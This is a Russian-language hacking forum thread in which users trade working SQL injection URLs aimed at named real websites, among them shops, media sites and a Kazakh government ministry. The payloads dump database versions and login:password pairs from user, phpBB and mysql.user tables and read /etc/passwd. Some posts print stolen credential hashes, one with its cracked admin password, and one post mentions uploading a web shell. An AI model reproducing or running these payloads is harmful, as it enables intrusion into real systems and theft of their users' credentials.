SQL Инъекции

Code:

http://www.content-c.ru/level.php?id=-22+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15/*

p.s 500 мессяга

 

/me ступил=\\\

 

Вот мой второй скуль)

Поля...

А чёто все остальное не катит..

 

Скуль :
http://www.elit-flowers.ru/katalog-list.php?code=1'

Поля :
http://www.elit-flowers.ru/katalog-list.php?code=-1+union+select+1,2,3,4,5

 

runiga.com
Испанская недвижимость, российское представительство.

сайт:

Code:

http://www.runiga.com/ruso/home.php?pageid=189&idioma=-1+union+select+1,2,3,concat(login,0x3a,passwd),5,6,7,8,9+from+users/*

список юзер:пасс в открытом виде.

форум phpbb:

Code:

http://www.runiga.com/ruso/home.php?pageid=189&idioma=-1+union+select+1,2,3,concat(username,0x3a,user_password),5,6,7,8,9+from+phpbb_users/*

Admin:aa7cae5a92226d97ba0654db0dd070b1 = pa2310
вуаля, админка захвачена
1.5k юзеров вроде..

 

http://www.oxid.ru/notes/show.php?stid=-2045+union+select+1,2,concat(login,char(58),pass,char(58),email),4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,load_file(0x2f6574632f706173737764),27,28,29,30,31,32,33,34+from+users/*

На этом сайте можно все
Но, к сожаления, практическая польза отсутствует(
-----------------------------------
Вот еще одна
http://xlinenn.ru/shop.php?cats=-187+union+select+1,2+from+user/*

 

Code:

http://www.saratoff-road.ru/?showtov=-1+union+select+1,database(),3,user(),version(),6,7/*
http://www.saratoff-road.ru/?showtov=-1+union+select+1,2,3,concat(login,char(58),pass),5,6,7+from+users/*

 

http://www.dengi-info.com/

Code:

http://www.dengi-info.com/news/?nid=-40097+union+select+1,2,3,4,5,6/*

собствено ничего интресного не нашел, можеть кто нить другой найдет

МИНИСТЕРСТВО ТРУДА И СОЦИАЛЬНОЙ ЗАЩИТЫ НАСЕЛЕНИЯ РЕСПУБЛИКИ КАЗАХСТАН

Code:

http://www.enbek.kz/law/lawdetail.php?recordID=-121+union+select+1,2,concat(login,char(58),passwd)+from+admin/*
http://www.enbek.kz/law/lawdetail.php?recordID=-121+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764)/*

ищем админку

 

Code:

http://www.mk-rossi.ru/?page=prod&id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version())/*
http://www.mk-rossi.ru/?page=prod&id=-1+union+select+1,2,table_name+from+information_schema.tables+limit+25,1/*
http://www.mk-rossi.ru/?page=prod&id=-1+union+select+1,2,column_name+from+information_schema.columns+where+table_name=char(97,99,99,95,97,100,109,105,110,95,117,115,101,114,115)+limit+0,1/*
http://www.mk-rossi.ru/?page=prod&id=-1+union+select+1,2,concat(id,char(58),name,char(58),content,char(58),password,char(58),email,char(58),fio,char(58),dolznost,char(58),user_group)+from+acc_admin_users/*

 

Женский журнал Роксо

Code:

http://roxo.kiev.ua/showarticle.php?id=-348+union+select+1,2,3,4,5,6/*

 

Code:

http://www.idealist.kz/news.php?id=-4780+union+select+1,2,user(),4,5,6,7/*

ппц понедельник день тяжелый=\

 

на 41-ой чуть ап стену не убился(( подскажите в чём ошибка...с меня +

Code:

http://www.jlu.edu.cn/news/new/php/view.php?id=2450'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

ппц...лучше бы убился...

Code:

http://www.healthyskepticism.org/library/ref.php?id=9734'+union+select+1,2/*

Code:

http://www.avtosreda.ru/new/new.php?id=2657'+union+select+1,2/*

ЗЫ ушол книжки читать умные...(

 

Наше радио

Code:

http://www.nashespb.ru/clubs.php?id=-8+union+select+1,2,3,4,5,6,7,8,9/*

 

Code:

http://www.rikt.ru/news/kvant/index.phtml?cur_date=2006-01-10&id_news=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7/*

 

ssk.ex0.uf0

 

www.uralmedia.ru

ПрофессиАНАЛЬНЫЙ хостинг =\

Code:

http://www.uralmedia.ru/news.php3?id=-80+union+select+1,concat(user,0x3a,password),3,4,5,6+from+mysql.user/*

Таже каша :

Code:

http://www.megatrac.ru/news.php3?id=-72+union+select+1,concat(user,0x3a,password),3,4,5,6+from+mysql.user/*

root:572587631e9a0a92

 

и че это,ты пробывал выводить то?

2ssk.ex0.uf0
админский акк

Code:

http://www.avtosreda.ru/new/new.php?id=26570+union+select+1,2,concat(username,char(58),user_password),4,5,6+from+phpbb_users+limit+1,1/*

 

www.mipki.spb.ru

межотраслевой институт подготовки кадров и информации =\

Code:

http://www.mipki.spb.ru/news.php3?id=-248+union+select+1,2,concat(database(),0x3a,user(),0x3a,version()),4,5,6/*

 

итересный форум там стоит, можно залить вместо фотки шелл тока толку от него

 

http://www.a1tv.ru/AOpenNews.php?NewsID=-381+union+select+1,2,3,4,5,concat(user_email,char(58),user_icq,char(58),user_password),7,8+from+phpbb_users+limit+1,1/*

http://www.xmlhack.com/author.php?id=-8+union+select+1,2,3/*

http://www.llewellyn.com/bookstore/author.php?id=-38182+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

http://poetryclub.com.ua/author.php?id=-756+union+select+1,2,3,4,5,6,7,8,9/*

http://www.brcinfo.ru/authors/author.php?id=-20+union+select+1,2,3,4,5,6,7,8,9/*

http://www.trizway.com/author.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*

http://pstbi.pagez.ru/author.php?id=-5+union+select+1,2/*

http://www.runiga.com/ruso/home.php?pageid=190&id=-4834+union+select+1,2,3,concat(user_icq,char(58),user_password),5,6,7,8,9+from+phpbb_users+limit+3,1/*

http://thelist.ru/link.php?id=-84680+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*